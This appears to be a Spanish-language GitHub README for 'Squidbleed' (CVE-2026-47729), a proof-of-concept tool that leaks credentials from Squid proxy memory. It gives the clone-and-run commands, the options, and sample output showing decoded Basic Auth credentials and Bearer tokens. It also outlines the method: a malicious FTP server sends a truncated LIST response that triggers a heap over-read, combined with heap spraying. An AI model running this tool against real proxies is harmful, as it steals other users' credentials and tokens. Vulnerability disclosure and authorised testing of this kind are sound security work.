---

✨ Características

• PoC de un solo archivo — Cero dependencias
• Servidor FTP malicioso que imita el banner de NetWare + respuesta LIST truncada
• Detección y decodificación en tiempo real de tokens Basic Auth + Bearer
• Heap spraying multihilo para fugas más rápidas
• Salida de consola limpia y con colores, con estadísticas en vivo

---

🚀 Inicio Rápido

git clone https://github.com/0xBlackash/CVE-2026-47729.git
cd CVE-2026-47729

python3 CVE-2026-47729.py --proxy 127.0.0.1:3128

Opciones de Línea de Comandos

Argumento	Por defecto	Descripción
--proxy	127.0.0.1:3128	Proxy Squid objetivo (host:puerto)
--ftp-port	2222	Puerto local del servidor FTP malicioso
-t, --threads	4	Número de hilos de sondeo concurrentes

---

📸 Salida Esperada

[PoC] Squidbleed CVE-2026-47729 by Ashraf Zaryouh (0xBlackash)

[ 14.78s] [BASIC] cGFzc3dvcmQxMjM6c2VjcmV0
              decoded = admin:password123

[ 18.33s] [BEARER] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

---

🛠️ Cómo Funciona

1. Inicia un servidor FTP malicioso que envía un listado de directorio truncado.
2. Fuerza repetidamente a Squid a conectarse mediante URL FTP.
3. Provoca la sobrelectura del búfer del heap → filtra memoria adyacente.
4. Extrae credenciales y tokens de los datos filtrados.

---

⚠️ Aviso Legal

Este PoC es solo para fines educativos y de pruebas autorizadas.
Úsalo de forma responsable en sistemas que poseas o para los que tengas permiso de prueba.

---